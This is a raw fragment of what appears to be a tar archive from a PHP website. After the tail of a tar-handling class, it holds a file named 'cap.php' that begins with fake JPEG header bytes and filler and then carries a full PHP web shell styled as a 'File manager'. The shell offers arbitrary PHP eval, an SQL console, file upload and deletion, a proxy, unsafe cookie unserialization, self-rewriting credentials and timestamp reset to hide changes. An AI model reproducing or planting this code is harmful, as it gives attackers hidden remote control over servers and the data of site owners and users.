					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           cap.php                                                                                             0000644                 00000234451 15217301621 0006027 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
